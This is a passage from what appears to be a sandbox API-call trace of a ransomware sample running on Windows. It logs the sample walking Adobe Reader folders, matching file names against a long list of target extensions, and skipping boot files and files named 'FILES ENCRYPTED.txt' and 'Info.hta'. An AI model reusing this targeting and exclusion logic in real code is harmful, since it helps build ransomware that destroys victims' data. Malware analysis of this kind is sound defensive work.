lpString2="gs.js") returned -1 [0268.918] lstrlenW (lpString=".dpx") returned 4 [0268.918] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".dqy") returned 4 [0268.918] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".dsn") returned 4 [0268.918] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".dt") returned 3 [0268.919] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0268.919] lstrlenW (lpString=".dtd") returned 4 [0268.919] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".dwg") returned 4 [0268.919] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".dwt") returned 4 [0268.919] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".dx") returned 3 [0268.919] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0268.919] lstrlenW (lpString=".dxf") returned 4 [0268.919] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".edml") returned 5 [0268.919] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0268.919] lstrlenW (lpString=".efd") returned 4 [0268.919] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".elf") returned 4 [0268.919] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0268.919] lstrlenW (lpString=".emf") returned 4 [0268.920] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".emz") returned 4 [0268.920] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".epf") returned 4 [0268.920] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".eps") returned 4 [0268.920] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".epsf") returned 5 [0268.920] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0268.920] lstrlenW (lpString=".epsp") returned 5 [0268.920] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0268.920] lstrlenW (lpString=".erf") returned 4 [0268.920] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".exr") returned 4 [0268.920] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0268.920] lstrlenW (lpString=".f4v") returned 4 [0268.921] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".fido") returned 5 [0268.921] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0268.921] lstrlenW (lpString=".flm") returned 4 [0268.921] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".flv") returned 4 [0268.921] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".frm") returned 4 [0268.921] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".fxg") returned 4 [0268.921] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".geo") returned 4 [0268.921] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".gif") returned 4 [0268.921] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0268.921] lstrlenW (lpString=".grs") returned 4 [0268.921] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0268.922] lstrlenW (lpString=".gz") returned 3 [0268.922] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0268.922] lstrlenW (lpString=".h") returned 2 [0268.922] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0268.922] lstrlenW (lpString=".hdr") returned 4 [0268.922] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0268.922] lstrlenW (lpString=".hpp") returned 4 [0268.922] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0268.922] lstrlenW (lpString=".hta") returned 4 [0268.922] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0268.922] lstrlenW (lpString=".htc") returned 4 [0268.923] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0268.923] lstrlenW (lpString=".htm") returned 4 [0268.923] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0268.923] lstrlenW (lpString=".html") returned 5 [0268.923] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0268.924] lstrlenW (lpString=".icb") returned 4 [0268.924] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".ics") returned 4 [0268.925] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".iff") returned 4 [0268.925] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".inc") returned 4 [0268.925] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".indd") returned 5 [0268.925] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0268.925] lstrlenW (lpString=".ini") returned 4 [0268.925] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".iqy") returned 4 [0268.925] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".j2c") returned 4 [0268.925] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0268.925] lstrlenW (lpString=".j2k") returned 4 [0268.925] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".java") returned 5 [0268.926] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0268.926] lstrlenW (lpString=".jp2") returned 4 [0268.926] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".jpc") returned 4 [0268.926] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".jpe") returned 4 [0268.926] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".jpeg") returned 5 [0268.926] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0268.926] lstrlenW (lpString=".jpf") returned 4 [0268.926] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".jpg") returned 4 [0268.926] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".jpx") returned 4 [0268.926] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0268.926] lstrlenW (lpString=".js") returned 3 [0268.927] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0268.927] lstrlenW (lpString="ui-strings.js") returned 13 [0268.927] lstrlenW (lpString=".love$") returned 6 [0268.927] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0268.927] lstrlenW (lpString="ui-strings.js") returned 13 [0268.927] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0268.927] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0268.927] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\ui-strings.js") returned 120 [0268.927] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.928] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0268.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0268.928] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0268.928] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 106 [0268.928] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 1 [0268.928] lstrlenW (lpString="sk-sk") returned 5 [0268.928] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sk-sk") returned -1 [0268.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0268.928] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 106 [0268.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0268.929] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.929] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.139] lstrlenW (lpString="ui-strings.js") returned 13 [0269.139] lstrlenW (lpString=".1cd") returned 4 [0269.139] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.139] lstrlenW (lpString=".3ds") returned 4 [0269.139] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.139] lstrlenW (lpString=".3fr") returned 4 [0269.139] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.139] lstrlenW (lpString=".3g2") returned 4 [0269.139] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.139] lstrlenW (lpString=".3gp") returned 4 [0269.139] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.139] lstrlenW (lpString=".7z") returned 3 [0269.139] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.139] lstrlenW (lpString=".accda") returned 6 [0269.139] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.139] lstrlenW (lpString=".accdb") returned 6 [0269.139] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.139] lstrlenW (lpString=".accdc") returned 6 [0269.139] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.139] lstrlenW (lpString=".accde") returned 6 [0269.139] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.139] lstrlenW (lpString=".accdt") returned 6 [0269.140] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.140] lstrlenW (lpString=".accdw") returned 6 [0269.140] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.140] lstrlenW (lpString=".adb") returned 4 [0269.140] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".adp") returned 4 [0269.140] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai") returned 3 [0269.140] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.140] lstrlenW (lpString=".ai3") returned 4 [0269.140] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai4") returned 4 [0269.140] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai5") returned 4 [0269.140] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai6") returned 4 [0269.140] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai7") returned 4 [0269.140] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.140] lstrlenW (lpString=".ai8") returned 4 [0269.141] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".anim") returned 5 [0269.141] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.141] lstrlenW (lpString=".arw") returned 4 [0269.141] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".as") returned 3 [0269.141] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.141] lstrlenW (lpString=".asa") returned 4 [0269.141] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".asc") returned 4 [0269.141] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".ascx") returned 5 [0269.141] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.141] lstrlenW (lpString=".asm") returned 4 [0269.141] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".asmx") returned 5 [0269.141] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.141] lstrlenW (lpString=".asp") returned 4 [0269.141] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".aspx") returned 5 [0269.141] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.141] lstrlenW (lpString=".asr") returned 4 [0269.141] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".asx") returned 4 [0269.141] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.141] lstrlenW (lpString=".avi") returned 4 [0269.142] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".avs") returned 4 [0269.142] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".backup") returned 7 [0269.142] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.142] lstrlenW (lpString=".bak") returned 4 [0269.142] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".bay") returned 4 [0269.142] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".bd") returned 3 [0269.142] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.142] lstrlenW (lpString=".bin") returned 4 [0269.142] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".bmp") returned 4 [0269.142] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".bz2") returned 4 [0269.142] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".c") returned 2 [0269.142] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.142] lstrlenW (lpString=".cdr") returned 4 [0269.142] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.142] lstrlenW (lpString=".cer") returned 4 [0269.143] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".cf") returned 3 [0269.143] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0269.143] lstrlenW (lpString=".cfc") returned 4 [0269.143] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".cfm") returned 4 [0269.143] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".cfml") returned 5 [0269.143] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0269.143] lstrlenW (lpString=".cfu") returned 4 [0269.143] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".chm") returned 4 [0269.143] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".cin") returned 4 [0269.143] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".class") returned 6 [0269.143] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0269.143] lstrlenW (lpString=".clx") returned 4 [0269.143] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".config") returned 7 [0269.143] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0269.143] lstrlenW (lpString=".cpp") returned 4 [0269.143] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".cr2") returned 4 [0269.143] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0269.143] lstrlenW (lpString=".crt") returned 4 [0269.144] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".crw") returned 4 [0269.144] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".cs") returned 3 [0269.144] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0269.144] lstrlenW (lpString=".css") returned 4 [0269.144] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".csv") returned 4 [0269.144] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".cub") returned 4 [0269.144] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".dae") returned 4 [0269.144] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".dat") returned 4 [0269.144] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".db") returned 3 [0269.144] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0269.144] lstrlenW (lpString=".dbf") returned 4 [0269.144] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".dbx") returned 4 [0269.144] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0269.144] lstrlenW (lpString=".dc3") returned 4 [0269.144] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".dcm") returned 4 [0269.145] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".dcr") returned 4 [0269.145] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".der") returned 4 [0269.145] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".dib") returned 4 [0269.145] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".dic") returned 4 [0269.145] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".dif") returned 4 [0269.145] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".divx") returned 5 [0269.145] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0269.145] lstrlenW (lpString=".djvu") returned 5 [0269.145] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0269.145] lstrlenW (lpString=".dng") returned 4 [0269.145] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".doc") returned 4 [0269.145] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0269.145] lstrlenW (lpString=".docm") returned 5 [0269.145] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0269.145] lstrlenW (lpString=".docx") returned 5 [0269.145] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0269.145] lstrlenW (lpString=".dot") returned 4 [0269.146] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dotm") returned 5 [0269.146] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0269.146] lstrlenW (lpString=".dotx") returned 5 [0269.146] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0269.146] lstrlenW (lpString=".dpx") returned 4 [0269.146] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dqy") returned 4 [0269.146] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dsn") returned 4 [0269.146] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dt") returned 3 [0269.146] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0269.146] lstrlenW (lpString=".dtd") returned 4 [0269.146] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dwg") returned 4 [0269.146] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dwt") returned 4 [0269.146] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".dx") returned 3 [0269.146] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0269.146] lstrlenW (lpString=".dxf") returned 4 [0269.146] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0269.146] lstrlenW (lpString=".edml") returned 5 [0269.146] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0269.146] lstrlenW (lpString=".efd") returned 4 [0269.147] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0269.147] lstrlenW (lpString=".elf") returned 4 [0269.147] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0269.147] lstrlenW (lpString=".emf") returned 4 [0269.147] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0269.147] lstrlenW (lpString=".emz") returned 4 [0269.147] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0269.147] lstrlenW (lpString=".epf") returned 4 [0269.147] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0269.147] lstrlenW (lpString=".eps") returned 4 [0269.147] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0269.148] lstrlenW (lpString=".epsf") returned 5 [0269.148] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0269.148] lstrlenW (lpString=".epsp") returned 5 [0269.148] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0269.148] lstrlenW (lpString=".erf") returned 4 [0269.148] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0269.148] lstrlenW (lpString=".exr") returned 4 [0269.148] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0269.148] lstrlenW (lpString=".f4v") returned 4 [0269.148] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".fido") returned 5 [0269.149] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0269.149] lstrlenW (lpString=".flm") returned 4 [0269.149] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".flv") returned 4 [0269.149] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".frm") returned 4 [0269.149] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".fxg") returned 4 [0269.149] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".geo") returned 4 [0269.149] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0269.149] lstrlenW (lpString=".gif") returned 4 [0269.149] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".grs") returned 4 [0269.150] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".gz") returned 3 [0269.150] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0269.150] lstrlenW (lpString=".h") returned 2 [0269.150] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0269.150] lstrlenW (lpString=".hdr") returned 4 [0269.150] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".hpp") returned 4 [0269.150] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".hta") returned 4 [0269.150] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".htc") returned 4 [0269.150] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".htm") returned 4 [0269.150] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".html") returned 5 [0269.150] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0269.150] lstrlenW (lpString=".icb") returned 4 [0269.150] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0269.150] lstrlenW (lpString=".ics") returned 4 [0269.151] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".iff") returned 4 [0269.151] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".inc") returned 4 [0269.151] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".indd") returned 5 [0269.151] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0269.151] lstrlenW (lpString=".ini") returned 4 [0269.151] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".iqy") returned 4 [0269.151] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".j2c") returned 4 [0269.151] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0269.151] lstrlenW (lpString=".j2k") returned 4 [0269.151] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".java") returned 5 [0269.152] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0269.152] lstrlenW (lpString=".jp2") returned 4 [0269.152] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0269.152] lstrlenW (lpString=".jpc") returned 4 